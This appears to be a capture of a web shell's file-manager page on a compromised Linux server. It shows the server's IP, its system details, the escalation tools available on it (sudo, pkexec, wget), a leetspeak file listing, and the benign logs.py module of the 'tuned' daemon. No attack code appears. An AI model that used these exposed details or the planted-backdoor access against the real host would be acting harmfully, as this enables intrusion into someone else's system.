Server IP : 103.169.32.36 / Your IP : 216.73.217.13 Web Server : Apache System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : apache ( 48) PHP Version : 5.6.40 Disable Function : NONE MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /lib/python2.7/site-packages/tuned/ |
Upload File : |
| Current File : /lib/python2.7/site-packages/tuned/logs.py |
import atexit
import logging
import logging.handlers
import os
import os.path
import inspect
import tuned.consts as consts
import random
import string
import threading
try:
from StringIO import StringIO
except:
from io import StringIO
__all__ = ["get"]
root_logger = None
log_handlers = {}
log_handlers_lock = threading.Lock()
class LogHandler(object):
def __init__(self, handler, stream):
self.handler = handler
self.stream = stream
def _random_string(length):
r = random.SystemRandom()
chars = string.ascii_letters + string.digits
res = ""
for i in range(length):
res += r.choice(chars)
return res
def log_capture_start(log_level):
with log_handlers_lock:
for i in range(10):
token = _random_string(16)
if token not in log_handlers:
break
else:
return None
stream = StringIO()
handler = logging.StreamHandler(stream)
handler.setLevel(log_level)
formatter = logging.Formatter(
"%(levelname)-8s %(name)s: %(message)s")
handler.setFormatter(formatter)
root_logger.addHandler(handler)
log_handler = LogHandler(handler, stream)
log_handlers[token] = log_handler
root_logger.debug("Added log handler %s." % token)
return token
def log_capture_finish(token):
with log_handlers_lock:
try:
log_handler = log_handlers[token]
except KeyError:
return None
content = log_handler.stream.getvalue()
log_handler.stream.close()
root_logger.removeHandler(log_handler.handler)
del log_handlers[token]
root_logger.debug("Removed log handler %s." % token)
return content
def get():
global root_logger
if root_logger is None:
root_logger = logging.getLogger("tuned")
calling_module = inspect.currentframe().f_back
name = calling_module.f_locals["__name__"]
if name == "__main__":
name = "tuned"
return root_logger
elif name.startswith("tuned."):
(root, child) = name.split(".", 1)
child_logger = root_logger.getChild(child)
child_logger.remove_all_handlers()
child_logger.setLevel("NOTSET")
return child_logger
else:
assert False
class TunedLogger(logging.getLoggerClass()):
"""Custom tuned daemon logger class."""
_formatter = logging.Formatter("%(asctime)s %(levelname)-8s %(name)s: %(message)s")
_console_handler = None
_file_handler = None
def __init__(self, *args, **kwargs):
super(TunedLogger, self).__init__(*args, **kwargs)
self.setLevel(logging.INFO)
self.switch_to_console()
def console(self, msg, *args, **kwargs):
self.log(consts.LOG_LEVEL_CONSOLE, msg, *args, **kwargs)
def switch_to_console(self):
self._setup_console_handler()
self.remove_all_handlers()
self.addHandler(self._console_handler)
def switch_to_file(self, filename = consts.LOG_FILE,
maxBytes = consts.LOG_FILE_MAXBYTES,
backupCount = consts.LOG_FILE_COUNT):
self._setup_file_handler(filename, maxBytes, backupCount)
self.remove_all_handlers()
self.addHandler(self._file_handler)
def remove_all_handlers(self):
_handlers = self.handlers
for handler in _handlers:
self.removeHandler(handler)
@classmethod
def _setup_console_handler(cls):
if cls._console_handler is not None:
return
cls._console_handler = logging.StreamHandler()
cls._console_handler.setFormatter(cls._formatter)
@classmethod
def _setup_file_handler(cls, filename, maxBytes, backupCount):
if cls._file_handler is not None:
return
log_directory = os.path.dirname(filename)
if log_directory == '':
log_directory = '.'
if not os.path.exists(log_directory):
os.makedirs(log_directory)
cls._file_handler = logging.handlers.RotatingFileHandler(
filename, maxBytes = int(maxBytes), backupCount = int(backupCount))
cls._file_handler.setFormatter(cls._formatter)
logging.addLevelName(consts.LOG_LEVEL_CONSOLE, consts.LOG_LEVEL_CONSOLE_NAME)
logging.setLoggerClass(TunedLogger)
atexit.register(logging.shutdown)
| N4m3 |
5!z3 |
L45t M0d!f!3d |
0wn3r / Gr0up |
P3Rm!55!0n5 |
0pt!0n5 |
| .. |
-- |
December 21 2023 09:18:24 |
0 / 0 |
0755 |
|
| admin |
-- |
December 20 2023 04:53:14 |
0 / 0 |
0755 |
|
| daemon |
-- |
December 20 2023 04:53:14 |
0 / 0 |
0755 |
|
| exports |
-- |
December 20 2023 04:53:14 |
0 / 0 |
0755 |
|
| hardware |
-- |
December 20 2023 04:53:14 |
0 / 0 |
0755 |
|
| monitors |
-- |
December 20 2023 04:53:14 |
0 / 0 |
0755 |
|
| plugins |
-- |
December 20 2023 04:53:14 |
0 / 0 |
0755 |
|
| profiles |
-- |
December 20 2023 04:53:14 |
0 / 0 |
0755 |
|
| storage |
-- |
December 20 2023 04:53:14 |
0 / 0 |
0755 |
|
| units |
-- |
December 20 2023 04:53:14 |
0 / 0 |
0755 |
|
| utils |
-- |
December 20 2023 04:53:14 |
0 / 0 |
0755 |
|
| | | | | |
| __init__.py |
0.931 KB |
March 21 2019 22:10:46 |
0 / 0 |
0644 |
|
| __init__.pyc |
0.294 KB |
September 21 2022 13:17:58 |
0 / 0 |
0644 |
|
| __init__.pyo |
0.294 KB |
September 21 2022 13:17:58 |
0 / 0 |
0644 |
|
| consts.py |
4.404 KB |
March 21 2019 22:10:46 |
0 / 0 |
0644 |
|
| consts.pyc |
4.673 KB |
September 21 2022 13:17:58 |
0 / 0 |
0644 |
|
| consts.pyo |
4.673 KB |
September 21 2022 13:17:58 |
0 / 0 |
0644 |
|
| exceptions.py |
0.555 KB |
March 21 2019 22:10:46 |
0 / 0 |
0644 |
|
| exceptions.pyc |
1.218 KB |
September 21 2022 13:17:58 |
0 / 0 |
0644 |
|
| exceptions.pyo |
1.218 KB |
September 21 2022 13:17:58 |
0 / 0 |
0644 |
|
| logs.py |
3.745 KB |
March 21 2019 22:10:46 |
0 / 0 |
0644 |
|
| logs.pyc |
5.598 KB |
September 21 2022 13:17:58 |
0 / 0 |
0644 |
|
| logs.pyo |
5.558 KB |
September 21 2022 13:17:58 |
0 / 0 |
0644 |
|
| patterns.py |
0.327 KB |
March 21 2019 22:10:46 |
0 / 0 |
0644 |
|
| patterns.pyc |
0.915 KB |
September 21 2022 13:17:58 |
0 / 0 |
0644 |
|
| patterns.pyo |
0.915 KB |
September 21 2022 13:17:58 |
0 / 0 |
0644 |
|
| version.py |
0.071 KB |
March 21 2019 22:10:46 |
0 / 0 |
0644 |
|
| version.pyc |
0.239 KB |
September 21 2022 13:17:58 |
0 / 0 |
0644 |
|
| version.pyo |
0.239 KB |
September 21 2022 13:17:58 |
0 / 0 |
0644 |
|